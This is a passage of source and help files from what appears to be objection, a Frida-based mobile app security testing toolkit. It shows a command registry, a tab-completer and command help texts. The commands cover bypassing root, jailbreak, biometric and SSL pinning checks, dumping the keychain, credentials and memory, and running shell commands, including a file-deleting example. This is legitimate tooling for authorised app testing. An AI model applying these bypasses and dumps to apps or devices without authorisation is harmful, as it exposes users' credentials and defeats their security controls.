  'dynamic': filemanager.list_folders_in_current_fm_directory,\n        'exec': filemanager.cd\n    },\n\n    'commands': {\n        'meta': 'Work with commands run in the current session',\n        'commands': {\n            'history': {\n                'meta': 'List all unique commands that have run for this session',\n                'exec': command_history.history,\n            },\n            'save': {\n                'meta': 'Save all unique commands that have run in this session to a file',\n                'exec': command_history.save\n            },\n            'clear': {\n                'meta': 'Clear the current sessions command history',\n                'exec': command_history.clear\n            }\n        }\n    },\n\n    'ls': {\n        'meta': 'List files in the current working directory',\n        'dynamic': filemanager.list_folders_in_current_fm_directory,\n        'exec': filemanager.ls,\n    },\n\n    'pwd': {\n        'meta': 'Print the current working directory on the device',\n        'exec': filemanager.pwd_print,\n    },\n\n    'filesystem': {\n        'meta': 'Work with files on the remote filesystem',\n        'commands': {\n            'cat': {\n                'meta': 'Print a files contents',\n                'dynamic': filemanager.list_files_in_current_fm_directory,\n                'exec': filemanager.cat\n            },\n            'upload': {\n                'meta': 'Upload a file',\n                'exec': filemanager.upload\n            },\n            'download': {\n                'meta': 'Download a file or folder',\n                'flags': ['--folder'],\n                'dynamic': filemanager.list_content_in_current_fm_directory,\n                'exec': filemanager.download\n            },\n\n            # http file server\n\n            # 'http': {\n            #     'meta': 'Work with an on device HTTP file server',\n            #     'commands': {\n            #         'start': {\n            #             'meta': 'Start\\'s an HTTP server in the current working directory',\n            #             'exec': http.start\n            #         },\n            #         'status': {\n            #             'meta': 'Get the status of the HTTP server',\n            #             'exec': http.status\n            #         },\n            #         'stop': {\n            #             'meta': 'Stop\\'s a running HTTP server',\n            #             'exec': http.stop\n            #         }\n            #     }\n            # },\n        }\n    },\n\n    'rm': {\n        'meta': 'Delete files from the remote filesystem',\n        'dynamic': filemanager.list_files_in_current_fm_directory,\n        'exec': filemanager.rm\n    },\n\n    # device and env info commands\n\n    'env': {\n        'meta': 'Print information about the environment',\n        'exec': device.get_environment\n    },\n\n    'frida': {\n        'meta': 'Get information about the Frida environment',\n        'exec': frida_commands.frida_environment\n    },\n\n    'evaluate': {\n        'meta': 'Evaluate JavaScript within the agent',\n        'exec': custom.evaluate\n    },\n\n    # memory commands\n\n    'memory': {\n        'meta': 'Work with the current processes memory',\n        'commands': {\n            'dump': {\n                'meta': 'Commands to dump parts of the processes memory',\n                'commands': {\n                    'all': {\n                        'meta': 'Dump the entire memory of the current process',\n                        'exec': memory.dump_all\n                    },\n\n                    'from_base': {\n                        'meta': 'Dump (x) bytes of memory from a base address to file',\n                        'exec': memory.dump_from_base\n                    }\n                },\n            },\n\n            'list': {\n                'meta': 'List memory related information about the current process',\n                'commands': {\n                    'modules': {\n                        'meta': 'List loaded modules in the current process',\n                        'flags': ['--json'],\n                        'exec': memory.list_modules\n                    },\n\n                    'exports': {\n                        'meta': 'List the exports of a module',\n                        'flags': ['--json'],\n                        'exec': memory.list_exports\n                    }\n                },\n            },\n\n            'search': {\n                'meta': 'Search for pattern in the applications memory',\n                'flags': ['--string', '--offsets-only'],\n                'exec': memory.find_pattern\n            },\n\n            'replace': {\n                'meta': 'Search and replace pattern in the applications memory',\n                'flags': ['--string-pattern', '--string-replace'],\n                'exec': memory.replace_pattern\n            },\n\n            'write': {\n                'meta': 'Write raw bytes to a memory address. Use with caution!',\n                'flags': ['--string'],\n                'exec': memory.write\n            }\n        },\n    },\n\n    # sqlite commands\n\n    'sqlite': {\n        'meta': 'Work with SQLite databases',\n        'commands': {\n            'connect': {\n                'meta': 'Connect to a SQLite database file',\n                'flags': ['--sync'],\n                'dynamic': filemanager.list_files_in_current_fm_directory,\n                'exec': sqlite.connect\n            },\n        }\n    },\n\n    # jobs commands\n\n    'jobs': {\n        'meta': 'Work with objection jobs',\n        'commands': {\n            'list': {\n                'meta': 'List all of the current jobs',\n                'exec': jobs.show\n            },\n            'kill': {\n                'meta': 'Kill a job. This unloads the script',\n                'dynamic': jobs.list_current_jobs,\n                'exec': jobs.kill\n            }\n        }\n    },\n\n    # generic ui commands\n\n    'ui': {\n        'meta': 'Generic user interface commands',\n        'commands': {\n            'alert': {\n                'meta': 'Show an alert message, optionally specifying the message to show. (Currently crashes iOS)',\n                'exec': ui.alert\n            }\n        }\n    },\n\n    # android commands\n\n    'android': {\n        'meta': 'Commands specific to Android',\n        'commands': {\n            'deoptimize': {\n                'meta': 'Force the VM to execute everything in the interpreter',\n                'exec': general.deoptimise\n            },\n            'shell_exec': {\n                'meta': 'Execute a shell command',\n                'exec': command.execute\n            },\n            'hooking': {\n                'meta': 'Commands used for hooking methods in Android',\n                'commands': {\n                    'list': {\n                        'meta': 'Lists various bits of information',\n                        'commands': {\n                            'classes': {\n                                'meta': 'List the currently loaded classes',\n                                'exec': android_hooking.show_android_classes\n                            },\n                            'class_methods': {\n                                'meta': 'List the methods available on a class',\n                                'exec': android_hooking.show_android_class_methods\n                            },\n                            'class_loaders': {\n                                'meta': 'List the registered class loaders',\n                                'exec': android_hooking.show_android_class_loaders\n                            },\n                            'activities': {\n                                'meta': 'List the registered Activities',\n                                'exec': android_hooking.show_registered_activities\n                            },\n                            'receivers': {\n                                'meta': 'List the registered BroadcastReceivers',\n                                'exec': android_hooking.show_registered_broadcast_receivers\n                            },\n                            'services': {\n                                'meta': 'List the registered Services',\n                                'exec': android_hooking.show_registered_services\n                            },\n                        }\n                    },\n                    'watch': {\n                        'meta': 'Watch for Android Java invocations',\n                        'exec': android_hooking.watch,\n                        'flags': ['--dump-args', '--dump-backtrace', '--dump-return']\n                    },\n                    'set': {\n                        'meta': 'Set various values',\n                        'commands': {\n                            'return_value': {\n                                'meta': 'Set a methods return value. Supports only boolean returns.',\n                                'exec': android_hooking.set_method_return_value,\n                                'flags': ['--dump-args', '--dump-return', '--dump-backtrace']\n                            }\n                        }\n                    },\n                    'get': {\n                        'meta': 'Get various values',\n                        'commands': {\n                            'current_activity': {\n                                'meta': 'Get the currently foregrounded activity',\n                                'exec': android_hooking.get_current_activity\n                            }\n                        }\n                    },\n                    'search': {\n                        'meta': 'Search for various classes and or methods',\n                        'exec': android_hooking.search,\n                        'flags': ['--json', '--only-classes']\n                    },\n                    'notify': {\n                        'meta': 'Notify when a class becomes available',\n                        'exec': android_hooking.notify,\n                        'flags': ['--dump-args', '--dump-return', '--dump-backtrace', '--watch']\n\n                    },\n                    'generate': {\n                        'meta': 'Generate Frida hooks for Android',\n                        'commands': {\n                            'class': {\n                                'meta': 'A generic hook manager for Classes',\n                                'exec': android_generate.clazz\n                            },\n                            'simple': {\n                                'meta': 'Simple hooks for each Class method',\n                                'exec': android_generate.simple\n                            }\n                        }\n                    }\n                },\n            },\n            'heap': {\n                'meta': 'Commands to work with the Android Heap',\n                'commands': {\n                    'search': {\n                        'meta': 'Search for information about the current Android heap',\n                        'commands': {\n                            'instances': {\n                                'meta': 'Search for live instances of a particular class',\n                                'exec': android_heap.instances\n\n                            }\n                        }\n                    },\n                    'print': {\n                        'meta': 'Print information about objects on the Android heap',\n                        'commands': {\n                            'fields': {\n                                'meta': 'Print instance fields for a Java object handle',\n                                'exec': android_heap.fields\n                            },\n                            'methods': {\n                                'meta': 'Print instance methods for an Android handle',\n                                'flags': ['--without-arguments'],\n                                'exec': android_heap.methods\n                            }\n                        }\n                    },\n                    'execute': {\n                        'meta': 'Execute methods on Java class handles',\n                        'flags': ['--return-string'],\n                        'exec': android_heap.execute\n                    },\n                    'evaluate': {\n                        'meta': 'Evaluate JavaScript on Java class handle',\n                        'exec': android_heap.evaluate\n                    }\n                }\n            },\n            'keystore': {\n                'meta': 'Commands to work with the Android KeyStore',\n                'commands': {\n                    'list': {\n                        'meta': 'Lists entries in the Android KeyStore',\n                        'exec': keystore.entries\n                    },\n                    'detail': {\n                        'meta': 'Lists details for all items in the Android KeyStore',\n                        'flags': ['--json'],\n                        'exec': keystore.detail\n                    },\n                    'clear': {\n                        'meta': 'Clears the Android KeyStore',\n                        'exec': keystore.clear\n                    },\n                    'watch': {\n                        'meta': 'Watches usage of the Android keystore',\n                        'exec': keystore.watch\n                    }\n                }\n            },\n            'clipboard': {\n                'meta': 'Work with the Android Clipboard',\n                'commands': {\n                    'monitor': {\n                        'meta': 'Monitor the Android Clipboard',\n                        'exec': clipboard.monitor\n                    }\n                }\n            },\n            'intent': {\n                'meta': 'Commands to work with Android intents',\n                'commands': {\n                    'launch_activity': {\n                        'meta': 'Launch an Activity class using an Intent',\n                        'exec': intents.launch_activity\n                    },\n                    'launch_service': {\n                        'meta': 'Launch a Service class using an Intent',\n                        'exec': intents.launch_service\n                    },\n                    'implicit_intents': {\n                        'meta': 'Analyze implicit intents',\n                        'exec': intents.analyze_implicit_intents,\n                        'flags': ['--dump-backtrace']\n                    }\n                }\n            },\n            'root': {\n                'meta': 'Commands to work with Android root detection',\n                'commands': {\n                    'disable': {\n                        'meta': 'Attempt to disable root detection',\n                        'exec': root.disable\n                    },\n                    'simulate': {\n                        'meta': 'Attempt to simulate a rooted environment',\n                        'exec': root.simulate\n                    }\n                }\n            },\n            'sslpinning': {\n                'meta': 'Work with Android SSL pinning',\n                'commands': {\n                    'disable': {\n                        'meta': 'Attempt to disable SSL pinning in various Java libraries/classes',\n                        'flags': ['--quiet'],\n                        'exec': android_pinning.android_disable\n                    }\n                }\n            },\n            'proxy': {\n                'meta': 'Commands to work with a proxy for the application',\n                'commands': {\n                    'set': {\n                        'meta': 'Set a proxy for the application',\n                        'exec': android_proxy.android_proxy_set\n                    }\n                }\n            },\n            'ui': {\n                'meta': 'Android user interface commands',\n                'commands': {\n                    'screenshot': {\n                        'meta': 'Screenshot the current Activity',\n                        'exec': ui.android_screenshot\n                    },\n                    'FLAG_SECURE': {\n                        'meta': 'Control FLAG_SECURE of the current Activity',\n                        'exec': ui.android_flag_secure\n                    },\n                }\n            },\n        },\n    },\n    # ios commands\n        'ios': {\n        'meta': 'Commands specific to iOS',\n        'commands': {\n            'info': {\n                'meta': 'Get iOS and application related information',\n                'commands': {\n                    'binary': {\n                        'meta': 'Get information about application binaries and dylibs',\n                        'exec': binary.info\n                    }\n                }\n            },\n            'keychain': {\n                'meta': 'Work with the iOS keychain',\n                'commands': {\n                    'dump': {\n                        'meta': 'Dump the keychain for the current app\\'s entitlement group',\n                        'flags': ['--json', '--smart'],\n                        'exec': keychain.dump\n                    },\n                    'dump_raw': {\n                        'meta': 'Dump raw, unprocessed keychain entries (advanced)',\n                        'exec': keychain.dump_raw\n                    },\n                    'clear': {\n                        'meta': 'Delete all keychain entries for the current app\\'s entitlement group',\n                        'exec': keychain.clear\n                    },\n                    'remove': {\n                        'meta': 'Remove an entry from the iOS keychain',\n                        'flags': ['--account', '--service'],\n                        'exec': keychain.remove\n                    },\n                    'update': {\n                        'meta': 'Update an entry from the iOS keychain',\n                        'flags': ['--account', '--service', '--newData'],\n                        'exec': keychain.update\n                    },                     \n                    'add': {\n                        'meta': 'Add an entry to the iOS keychain',\n                        'flags': ['--account', '--service', '--data'],\n                        'exec': keychain.add\n                    }\n                }\n            },\n            'plist': {\n                'meta': 'Work with iOS Plists',\n                'commands': {\n                    'cat': {\n                        'meta': 'Cat a plist',\n                        'dynamic': filemanager.list_files_in_current_fm_directory,\n                        'exec': plist.cat\n                    }\n                }\n            },\n            'bundles': {\n                'meta': 'Work with iOS Bundles',\n                'commands': {\n                    'list_frameworks': {\n                        'meta': 'Lists all of the application\\'s bundles that represent frameworks',\n                        'flags': ['--include-apple-frameworks', '--full-path'],\n                        'exec': bundles.show_frameworks\n                    },\n                    'list_bundles': {\n                        'meta': 'Lists all of the application\\'s non framework bundles',\n                        'flags': ['--full-path'],\n                        'exec': bundles.show_bundles\n                    }\n                }\n            },\n            'nsuserdefaults': {\n                'meta': 'Work with NSUserDefaults',\n                'commands': {\n                    'get': {\n                        'meta': 'Get all of the entries',\n                        'exec': nsuserdefaults.get\n                    }\n                }\n            },\n            'nsurlcredentialstorage': {\n                'meta': 'Work with the shared NSURLCredentialStorage',\n                'commands': {\n                    'dump': {\n                        'meta': 'Dump all of the credentials in the shared NSURLCredentialStorage',\n                        'exec': nsurlcredentialstorage.dump\n                    }\n                }\n            },\n            'cookies': {\n                'meta': 'Work with shared cookies',\n                'commands': {\n                    'get': {\n                        'meta': 'Get the current apps shared cookies',\n                        'flags': ['--json'],\n                        'exec': cookies.get\n                    }\n                }\n            },\n            'ui': {\n                'meta': 'iOS user interface commands',\n                'commands': {\n                    'alert': {\n                        'meta': ('Show an alert message, optionally specifying the message to'\n                                 'show. (Currently crashes iOS)'),\n                        'exec': ui.alert\n                    },\n                    'dump': {\n                        'meta': 'Dump the serialized UI',\n                        'exec': ui.dump_ios_ui\n                    },\n                    'screenshot': {\n                        'meta': 'Screenshot the current UIView',\n                        'exec': ui.ios_screenshot\n                    },\n                    'biometrics_bypass': {\n                        'meta': 'Hook the iOS Biometrics LAContext and respond with successful auth',\n                        'exec': ui.bypass_touchid\n                    }\n                }\n            },\n            'heap': {\n                'meta': 'Commands to work with the iOS heap',\n                'commands': {\n                    'print': {\n                        'meta': 'Print information about objects on the iOS heap',\n                        'commands': {\n                            'ivars': {\n                                'meta': 'Print instance variables for an Objective-C object',\n                                'flags': ['--to-utf8'],\n                                'exec': ios_heap.ivars\n                            },\n                            'methods': {\n                                'meta': 'Print instance methods for an Objective-C object',\n                                'flags': ['--without-arguments'],\n                                'exec': ios_heap.methods\n                            }\n                        }\n                    },\n                    'search': {\n                        'meta': 'Search for information about the current iOS heap',\n                        'commands': {\n                            'instances': {\n                                'meta': 'Search for live instances of a particular class',\n                                'exec': ios_heap.instances\n                            }\n                        }\n                    },\n                    'execute': {\n                        'meta': 'Execute methods on objects on the iOS heap',\n                        'flags': ['--return-string'],\n                        'exec': ios_heap.execute\n                    },\n                    'evaluate': {\n                        'meta': 'Evaluate JavaScript on objects on the iOS heap',\n                        'flags': ['--inline'],\n                        'exec': ios_heap.evaluate\n                    }\n                }\n            },\n            'hooking': {\n                'meta': 'Commands used for hooking methods in iOS',\n                'commands': {\n                    'list': {\n                        'meta': 'Lists various bits of information',\n                        'commands': {\n                            'classes': {\n                                'meta': 'List classes available in the current application',\n                                'exec': ios_hooking.show_ios_classes\n                            },\n                            'class_methods': {\n                                'meta': 'List the methods in a class',\n                                'flags': ['--include-parents'],\n                                'exec': ios_hooking.show_ios_class_methods\n                            }\n                        }\n                    },\n                    'watch': {\n                        'meta': 'Watch invocations of classes and methods',\n                        'exec': ios_hooking.watch,\n                        'flags': ['--dump-args', '--dump-backtrace', '--dump-return'],\n                    },\n                    'set': {\n                        'meta': 'Set various values',\n                        'commands': {\n                            'return_value': {\n                                'meta': 'Set a methods return value. Supports only boolean returns',\n                                'exec': ios_hooking.set_method_return_value\n                            }\n                        }\n                    },\n                    'search': {\n                        'meta': 'Search for various classes and or methods',\n                        'exec': ios_hooking.search,\n                        'flags': ['--json', '--only-classes']\n                    },\n                    'generate': {\n                        'meta': 'Generate Frida hooks for iOS',\n                        'commands': {\n                            'class': {\n                                'meta': 'A generic hook manager for Classes',\n                                'exec': ios_generate.clazz\n                            },\n                            'simple': {\n                                'meta': 'Simple hooks for each Class method',\n                                'exec': ios_generate.simple\n                            }\n                        },\n                    }\n                }\n            },\n            'pasteboard': {\n                'meta': 'Work with the iOS pasteboard',\n                'commands': {\n                    'monitor': {\n                        'meta': 'Monitor the iOS pasteboard',\n                        'exec': pasteboard.monitor\n                    }\n                }\n            },\n            'sslpinning': {\n                'meta': 'Work with iOS SSL pinning',\n                'commands': {\n                    'disable': {\n                        'meta': 'Attempt to disable SSL pinning in various iOS libraries/classes',\n                        'flags': ['--quiet'],\n                        'exec': ios_pinning.ios_disable\n                    }\n                }\n            },\n            'jailbreak': {\n                'meta': 'Work with iOS Jailbreak detection',\n                'commands': {\n                    'disable': {\n                        'meta': 'Attempt to disable Jailbreak detection',\n                        'exec': jailbreak.disable\n                    },\n                    'simulate': {\n                        'meta': 'Attempt to simulate a Jailbroken environment',\n                        'exec': jailbreak.simulate\n                    },\n                }\n            },\n            'monitor': {\n                'meta': 'Commands to work with ios function monitoring',\n                'commands': {\n                    'crypto': {\n                        'meta': 'Monitor CommonCrypto operations',\n                        'exec': ios_crypto.crypto_enable\n                    }\n                },\n            },\n        }\n    },\n\n    'exit': {\n        'meta': 'Exit',\n    },\n}\n"
  },
  {
    "path": "objection/console/completer.py",
    "content": "import collections\n\nfrom prompt_toolkit.completion import Completer, Completion, CompleteEvent\nfrom prompt_toolkit.document import Document\n\nfrom .commands import COMMANDS\nfrom ..utils.helpers import get_tokens\n\n\nclass CommandCompleter(Completer):\n    \"\"\"\n        The objection REPL command completer.\n    \"\"\"\n\n    def __init__(self) -> None:\n        super(CommandCompleter, self).__init__()\n        self.COMMANDS = COMMANDS\n\n    def find_completions(self, document: Document) -> dict:\n        \"\"\"\n            Find tab completions from the commands repository.\n\n            Completions are returned based on tokens extracted\n            from the command text received by prompt_toolkit. A\n            dictionary is then walked, matching a token to a\n            nested dictionary until no more dictionaries are\n            available. The resultant dictionary then becomes\n            the suggestions for tab completion.\n\n            Some commands may have 'dynamic' completions, such as\n            file system related commands. They are defined with a\n            'dynamic' key, and the method defined as the value for\n            this key is executed to get completions.\n\n            :param document:\n            :return:\n        \"\"\"\n\n        # extract tokens from the document similar to\n        # how a shell invocation would have been done.\n        # we will also cleanup flags that come in the form\n        #  of --flag so that multiples can be suggested.\n        tokens = [token for token in get_tokens(document.text) if not token.startswith('--')]\n\n        # extract the flags in the received tokens. This list\n        # will be used to remove suggested flags from those\n        # already present in the command.\n        flags = [flag for flag in get_tokens(document.text) if flag.startswith('--')]\n\n        # start with the current suggestions dictionary being\n        # all commands\n        current_suggestions = self.COMMANDS\n\n        # when the tokens are extracted, we are expecting something in\n        # the format of:\n        #   command sub_command sub_sub_command\n        # so, lets use that and search the the COMMAND dictionary for\n        # the last dictionary with a correct suggestion\n        for token in tokens:\n\n            candidate = token.lower()\n\n            if candidate in list(current_suggestions.keys()):\n\n                # if there are sub commands, grab them\n                if 'commands' in current_suggestions[candidate]:\n                    current_suggestions = current_suggestions[candidate]['commands']\n\n                # dynamic commands change based on the current status of the\n                # environment, so, call the method defined\n                elif 'dynamic' in current_suggestions[candidate]:\n                    current_suggestions = current_suggestions[candidate]['dynamic']()\n\n                # make --flags in the 'flags' key tab completable\n                elif 'flags' in current_suggestions[candidate]:\n                    current_suggestions = {\n                        flag: '' for flag in current_suggestions[candidate]['flags'] if flag not in flags\n                    }\n\n                # in this case, there are probably no sub commands, so return\n                # an empty dictionary\n                else:\n                    return {}\n\n        suggestions = {}\n\n        # once we have the deepest suggestions dictionary in the\n        # current_suggestions variable, loop through and check for\n        # 'sorta' matched versions\n        if current_suggestions and len(current_suggestions) > 0:\n            for k, _ in current_suggestions.items():\n\n                # fuzzy-ish matching when part of a word is in a suggestion\n                if document.get_word_before_cursor().lower() in k.lower():\n                    suggestions[k] = current_suggestions[k]\n\n        return suggestions\n\n    def get_completions(self, document: Document, complete_event: CompleteEvent) -> Completion:\n        \"\"\"\n            The main method that gets called by prompt-toolkit to\n            determine which completions to show. This\n\n            :param document:\n            :param complete_event:\n            :return:\n        \"\"\"\n\n        # get the stuff we have typed so far\n        word_before_cursor = document.get_word_before_cursor()\n\n        # if this is an os command, we can't complete anything\n        if document.text.startswith('!'):\n            return\n\n        commands = self.find_completions(document)\n\n        # if there are no commands return\n        if len(commands) <= 0:\n            return\n\n        # sort alphabetically\n        commands = collections.OrderedDict(sorted(list(commands.items()), key=lambda t: t[0]))\n\n        # loop the commands that we have determined to be useful\n        # based on the current text input and populate a 'meta' field\n        # if one exists.\n        for cmd, extra in commands.items():\n            meta = extra['meta'] if type(extra) is dict and 'meta' in extra else None\n\n            # finally, yield the generator for completions\n            yield Completion(cmd, -(len(word_before_cursor)), display_meta=meta)\n"
  },
  {
    "path": "objection/console/helpfiles/!.txt",
    "content": "Command: !\n\nUsage: ! <shell command>\n\nExecutes operating system commands using pythons Subprocess module.\nCommands that have caused an error, or when there is output to\ndisplay from stderr, will show in red. Commands that have output\nthat was sent to stdout will display in white.\n\nExamples:\n   !ls\n   !uname -a\n"
  },
  {
    "path": "objection/console/helpfiles/android.clipboard.monitor.txt",
    "content": "Command: android clipboard monitor\n\nUsage: android clipboard monitor\n\nGets a handle on the Android clipboard service and polls it every 5 seconds\nfor data. If new data is found, different from the previous poll, that data\nwill be dumped to screen.\n\nExamples:\n   android clipboard monitor\n"
  },
  {
    "path": "objection/console/helpfiles/android.clipboard.txt",
    "content": "Contains subcommands to work with the Android Clipboard.\n"
  },
  {
    "path": "objection/console/helpfiles/android.heap.search.instances.txt",
    "content": "Command: android heap search instances\n\nUsage: android heap search instances <class>\n\nSearch for and print live instances of a specific Java class, specified by\na fully qualified class name. Output is the result of an attempt at getting\na string value for a discovered object which would typically contain\nproperty values for the object. Hashcodes in the list could be used for\nother heap interactions.\n\nExamples:\n   android heap search instances java.net.Socket\n   android heap search instances java.io.File\n\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.activities.txt",
    "content": "Command: android hooking list activities\n\nUsage: android hooking list activities\n\nList all the Activities that have been specified by the AndroidManifest.xml.\nActivity classes found using this command could be used with the\n`android intent launch_activity` command to launch them.\n\nExamples:\n   android hooking list activities\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.class_methods.txt",
    "content": "Command: android hooking list class_methods\n\nUsage: android hooking list class_methods <class_name>\n\nLists the methods declared in a Java class, together with the arguments\nthat they may required using getDeclaredMethods().\n\nExamples:\n   android hooking list class_methods com.example.utils.RootUtils\n   android hooking list class_methods com.test.Helpers.Communications\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.classes.txt",
    "content": "Command: android hooking list classes\n\nUsage: android hooking list classes\n\nList the classes *currently loaded*. As the target application gets used\nmore, this command will return more classes.\n\nExamples:\n   android hooking list classes\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.receivers.txt",
    "content": "Command: android hooking list receivers\n\nUsage: android hooking list receivers\n\nList all the Broadcast Receivers that have been registered at Runtime\nas well as those specified by the AndroidManifest.xml.\n\nExamples:\n   android hooking list receivers\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.services.txt",
    "content": "Command: android hooking list services\n\nUsage: android hooking list services\n\nList all the Services that have been registered at Runtime as well\nas those specified by the AndroidManifest.xml.\n\nExamples:\n   android hooking list services\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.list.txt",
    "content": "Contains subcommands to list various bits of Java class information.\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.search.classes.txt",
    "content": "Command: android hooking search classes\n\nUsage: android hooking search classes <search string>\n\nSearch for classes in the current Java runtime with the search string\nas part of the class name.\n\nExamples:\n   android hooking search classes jailbreak\n   android hooking search classes sslpinning\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.search.methods.txt",
    "content": "Command: android hooking search methods\n\nUsage: android hooking search methods <search string> (optional: package-filter)\n\nSearch for class methods in the current Java runtime with the search string\nas part of the class name. An optional package filter may be used to limit\nthe method search to a specific namespace.\n\nWARNING: This command may easily crash the application without a filter.\n\nExamples:\n   android hooking search classes jailbreak com.package\n   android hooking search classes sslpinning\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.search.txt",
    "content": "Contains subcommands helpful when searching for classes and methods.\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.set.return_value.txt",
    "content": "Command: android hooking set return_value\n\nUsage: android hooking set return_value \"<fully qualified class>\" \"<overload if needed>\" <true / false>\n\nSets a methods return value to always be true / false. This could be\na useful module to use in cases where generic SSL pinning or root\ndetection / simulations are possible.\n\nIf an overload is not specified, all overloads for the base methods\nwill be modified.\n\nNOTE: This is only possible on methods that return a boolean. While\nmethods that don't return booleans can be hooked, the results may be\nunpredictable.\n\nExamples:\n   android hooking set return_value com.example.test.rootUtils.isRooted false\n   android hooking set return_value com.example.test.rootUtils.isRooted \"java.lang.String\" false\n   android hooking set return_value com.example.test.encryption.hasKey.overload(\"java.lang.String\") true\n   android hooking set return_value com.example.test.communication.setPinningType.overload(\"java.lang.String\", \"[B\") false\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.txt",
    "content": "Contains subcommands to hook Android Java methods.\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.watch.class.txt",
    "content": "Command: android hooking watch class\n\nUsage: android hooking watch class <class>\nHooks a specified class' methods and reports on invocations.\n\nExamples:\n   android hooking watch class com.example.test \n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.watch.class_method.txt",
    "content": "Command: android hooking watch class_method\n\nUsage: android hooking watch class_method <fully qualified class method> <optional overload>\n       (optional: --dump-args) (optional: --dump-backtrace)\n       (optional: --dump-return)\n\nHooks a specified class method and reports on invocations, together with\nthe number of arguments that method was called with. This command will\nalso hook all of the methods available overloads unless a specific\noverload is specified.\n\nIf the --include-backtrace flag is provided, a full stack trace that\nlead to the methods invocation will also be dumped. This would aid in\ndiscovering who called the original method.\n\nExamples:\n   android hooking watch class_method com.example.test.login\n   android hooking watch class_method com.example.test.helper.executeQuery\n   android hooking watch class_method com.example.test.helper.executeQuery \"java.lang.String,java.lang.String\"\n   android hooking watch class_method com.example.test.helper.executeQuery --dump-backtrace\n   android hooking watch class_method com.example.test.login --dump-args --dump-return\n"
  },
  {
    "path": "objection/console/helpfiles/android.hooking.watch.txt",
    "content": "Contains subcommands to watch for various bits of information on class invocations.\n"
  },
  {
    "path": "objection/console/helpfiles/android.intent.implicit_intents.txt",
    "content": "Command: android intent implicit_intents\n\nUsage: android intent implicit_intents\n\nStarts a hook to analyze implicit intents during runtime. Optionally add a backtrade by adding --dump-backtrace\n\nExamples:\n   android intent implicit_intents\n"
  },
  {
    "path": "objection/console/helpfiles/android.intent.launch_activity.txt",
    "content": "Command: android intent launch_activity\n\nUsage: android intent launch_activity <activity class>\n\nLaunches an activity class by building a new Intent and running startActivity()\nwith it as an argument. The Intent.FLAG_ACTIVITY_NEW_TASK flag is added to achieve\nthis, with the side effect that the history stack may be reset.\n\nExamples:\n   android intent launch_activity com.test.example.MainActivity\n   android intent launch_activity com.test.example.SecretActivity\n   android intent launch_activity com.example.test.Other\n"
  },
  {
    "path": "objection/console/helpfiles/android.intent.launch_service.txt",
    "content": "Command: android intent launch_service\n\nUsage: android intent launch_service <service class>\n\nLaunches an exported service class by building a new Intent and running startActivity()\nwith it as an argument. The Intent.FLAG_ACTIVITY_NEW_TASK flag is added to achieve\nthis, with the side effect that the history stack may be reset.\n\nExamples:\n   android intent launch_service com.test.example.PingService\n   android intent launch_service com.test.example.utils.SyncService\n"
  },
  {
    "path": "objection/console/helpfiles/android.intent.txt",
    "content": "Contains subcommands to work with Android Intents.\n"
  },
  {
    "path": "objection/console/helpfiles/android.keystore.clear.txt",
    "content": "Command: android keystore clear\n\nUsage: android keystore clear\n\nClears all aliases in the current applications 'AndroidKeyStore' Keystore. The\nKeyStore is loaded, and each alias entry found gets the deleteEntry() method\non the KeyStore called.\n\nExamples:\n   android keystore clear\n"
  },
  {
    "path": "objection/console/helpfiles/android.keystore.detail.txt",
    "content": "Command: android keystore detail\n\nUsage: android keystore detail\n\nLists detailed 'AndroidKeyStore' items for the current application.\n\nRef: https://developer.android.com/reference/java/security/KeyStore.html\n\nExamples:\n   android keystore listDetails\n"
  },
  {
    "path": "objection/console/helpfiles/android.keystore.list.txt",
    "content": "Command: android keystore list\n\nUsage: android keystore list\n\nLists aliases in the current applications 'AndroidKeyStore' KeyStore. Each alias\nis queried for its type which will be either a certificate or a key.\n\nRef: https://developer.android.com/reference/java/security/KeyStore.html\n\nExamples:\n   android keystore list\n"
  },
  {
    "path": "objection/console/helpfiles/android.keystore.txt",
    "content": "Contains subcommands to work with Android KeyStore.\n"
  },
  {
    "path": "objection/console/helpfiles/android.keystore.watch.txt",
    "content": "Command: android keystore watch\n\nUsage: android keystore watch\n\nWatches usage of the Android Keystore. Two KeyStore methods are watched at the\nmoment. Those are:\n\nKeyStore.getKey()\nKeyStore.load()\n\nIn both cases, a password for the keystore/key is passed along as the\nsecond parameter of the function.\n\nRef: https://developer.android.com/reference/java/security/KeyStore.html\n\nExamples:\n   android keystore watch\n"
  },
  {
    "path": "objection/console/helpfiles/android.root.disable.txt",
    "content": "Command: android root disable\n\nUsage: android root disable\n\nAttempts to disable root detection on Android devices. This is achieved by\nhooking numerous classes such as java.lang.String (for contains()),\njava.lang.Runtime (for exec()) and java.io.File (for exists()). These hooked\nmethods have their properties or arguments inspected to determine if artifacts\ncommonly checked for in root detection is used, and manipulated.\n\nIf this method does not effectively disable root detection for you, keep in\nmind that it us very common for applications to have helper methods such as\nisRooted() that perform a number of checks in one class method. Using the\nboolean return module on one of these utility methods may achieve a similar\neffect.\n\nExamples:\n   android root disable\n\n"
  },
  {
    "path": "objection/console/helpfiles/android.root.simulate.txt",
    "content": "Command: android root simulate\n\nUsage: android root simulate\n\nAttempts to simulate a rooted Android environment. This is achieved by\nresponding positively to common checks that are performed within Android\napplications.\n\nExamples:\n   android root simulate\n\n"
  },
  {
    "path": "objection/console/helpfiles/android.shell_exec.txt",
    "content": "Command: android shell_exec\n\nUsage: android shell_exec <command to run>\n\nExecute a shell command on an android device. These commands are run from within\nthe security context of the application that is being instrumented.\n\nExamples:\n   android shell_exec id\n   android shell_exec ls -lah /\n   android shell_exec rm /data/data/user/0/somefile\n"
  },
  {
    "path": "objection/console/helpfiles/android.sslpinning.disable.txt",
